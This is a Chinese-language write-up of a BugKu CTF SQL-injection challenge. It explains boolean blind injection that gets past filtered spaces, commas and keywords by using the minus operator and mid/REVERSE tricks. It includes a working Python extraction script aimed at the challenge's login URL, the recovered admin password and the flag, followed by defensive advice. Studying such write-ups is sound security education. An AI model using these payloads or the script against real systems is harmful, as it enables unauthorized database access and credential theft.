一道CTF题引发的思考-sql注入
字数 1344 2025-08-29 08:32:30

SQL注入高级技巧:基于运算符的盲注与绕过

1. 题目背景分析

这是一道来自BugKu平台的SQL注入题目,分值200分,位于Web题目后段。虽然网上存在大量直接访问/flag文件的解法,但作者认为这并非题目设计的初衷,而是存在正规的SQL注入解法。

2. 信息搜集阶段

2.1 文件探测

  • 尝试访问.DS_Store文件(Mac OS的隐藏文件),但未发现有用信息
  • 检查admin目录,同样无果

2.3 错误信息分析

  • 发现系统返回两种不同的错误:
    • username error
    • password error
  • 这提示可以进行基于布尔值的盲注(Boolean-based Blind SQLi)

3. SQL注入探测

3.1 过滤字符检测

  • 系统会明确提示哪些字符被过滤
  • 发现以下字符/功能被过滤:
    • 空格
    • or, and等关键词
    • regexp, like等常用函数

3.2 可用运算符

  • 题目提示保留了!,字符
  • 发现-运算符可用且效果显著

3.3 注入原理

后台SQL语句可能形如:

$sql = "select * from users where username=$username";

利用字符串与数字运算时的类型转换:

  • 'admin'-1-''-1
  • 'admin'-0-''0

当构造admin'-0-'时:

  • 转换为0=0(真)
  • 返回username error

构造admin'-1-'时:

  • 转换为0=1(假)
  • 返回password error

4. 注入语句构造

4.1 基本思路

需要构造类似以下语句:

ascii(substr((select database()),1,1))>-1

4.2 绕过限制的技术

  1. 没有逗号:使用from语法替代

    • 传统方式:substr(str,1,1)
    • 替代方式:mid(str from 1 for 1)
  2. 没有空格:使用括号紧密连接

  3. 字符串截取技巧

    • 反向截取:mid((passwd)from(-1)) → 获取最后1个字符
    • 结合反转函数:REVERSE(MID((passwd)from(-pos)))
  4. 完整字符提取逻辑:

    mid(REVERSE(MID((passwd)from(-pos)))from(-1))
    

5. 自动化注入脚本

import requests

url = "http://120.24.86.145:8007/web2/login.php"
cookie = {'PHPSESSID': 'i6f9opt690kralopas7lcj68ne9na6ev'}
password = ""

for i in range(1, 33):
    for j in '0123456789abcdef':
        payload = "admin'-(ascii(mid(REVERSE(MID((passwd)from(-" + str(i) + ")))from(-1)))=" + str(ord(j)) + ")-'"
        data = {'uname': payload, 'passwd': 'sky'}
        r = requests.post(url=url, cookies=cookie, data=data)
        if "username error!!@_@" in r.content:
            password += j
            print password
            break

6. 注入结果与后续利用

  • 获取到密码的MD5哈希值
  • 解密后得到密码:admin123
  • 使用admin/admin123登录
  • 进入命令执行页面,通过ls发现flag文件
  • 最终flag:flag{sql_iNJEct_comMon3600!}

7. 关键知识点总结

  1. 布尔盲注:利用不同的错误响应判断条件真假
  2. 运算符利用:在过滤空格和关键词时,-运算符的特殊作用
  3. 字符串处理
    • 使用from语法绕过逗号限制
    • 结合REVERSEMID实现精确字符提取
  4. 类型转换:利用字符串与数字运算时的自动类型转换
  5. 自动化:编写脚本高效完成数据提取

8. 防御建议

  1. 使用参数化查询或预处理语句
  2. 实施严格的输入过滤和类型检查
  3. 避免在错误信息中泄露过多细节
  4. 对敏感操作实施多因素认证
  5. 限制数据库用户的权限

9. 扩展思考

  1. 如果-也被过滤,还可以尝试哪些运算符?
  2. 如何在没有REVERSE函数的情况下实现字符截取?
  3. 在完全无错误回显的情况下,如何利用时间延迟进行注入?

这道题目展示了在严格过滤环境下进行SQL注入的高级技巧,强调了深入理解SQL语法和运算符特性的重要性。

SQL注入高级技巧:基于运算符的盲注与绕过 1. 题目背景分析 这是一道来自BugKu平台的SQL注入题目,分值200分,位于Web题目后段。虽然网上存在大量直接访问 /flag 文件的解法,但作者认为这并非题目设计的初衷,而是存在正规的SQL注入解法。 2. 信息搜集阶段 2.1 文件探测 尝试访问 .DS_Store 文件(Mac OS的隐藏文件),但未发现有用信息 检查 admin 目录,同样无果 2.3 错误信息分析 发现系统返回两种不同的错误: username error password error 这提示可以进行基于布尔值的盲注(Boolean-based Blind SQLi) 3. SQL注入探测 3.1 过滤字符检测 系统会明确提示哪些字符被过滤 发现以下字符/功能被过滤: 空格 or , and 等关键词 regexp , like 等常用函数 3.2 可用运算符 题目提示保留了 ! 和 , 字符 发现 - 运算符可用且效果显著 3.3 注入原理 后台SQL语句可能形如: 利用字符串与数字运算时的类型转换: 'admin'-1-'' → -1 'admin'-0-'' → 0 当构造 admin'-0-' 时: 转换为 0=0 (真) 返回 username error 构造 admin'-1-' 时: 转换为 0=1 (假) 返回 password error 4. 注入语句构造 4.1 基本思路 需要构造类似以下语句: 4.2 绕过限制的技术 没有逗号 :使用 from 语法替代 传统方式: substr(str,1,1) 替代方式: mid(str from 1 for 1) 没有空格 :使用括号紧密连接 字符串截取技巧 : 反向截取: mid((passwd)from(-1)) → 获取最后1个字符 结合反转函数: REVERSE(MID((passwd)from(-pos))) 完整字符提取逻辑: 5. 自动化注入脚本 6. 注入结果与后续利用 获取到密码的MD5哈希值 解密后得到密码: admin123 使用 admin/admin123 登录 进入命令执行页面,通过 ls 发现flag文件 最终flag: flag{sql_iNJEct_comMon3600!} 7. 关键知识点总结 布尔盲注 :利用不同的错误响应判断条件真假 运算符利用 :在过滤空格和关键词时, - 运算符的特殊作用 字符串处理 : 使用 from 语法绕过逗号限制 结合 REVERSE 和 MID 实现精确字符提取 类型转换 :利用字符串与数字运算时的自动类型转换 自动化 :编写脚本高效完成数据提取 8. 防御建议 使用参数化查询或预处理语句 实施严格的输入过滤和类型检查 避免在错误信息中泄露过多细节 对敏感操作实施多因素认证 限制数据库用户的权限 9. 扩展思考 如果 - 也被过滤,还可以尝试哪些运算符? 如何在没有 REVERSE 函数的情况下实现字符截取? 在完全无错误回显的情况下,如何利用时间延迟进行注入? 这道题目展示了在严格过滤环境下进行SQL注入的高级技巧,强调了深入理解SQL语法和运算符特性的重要性。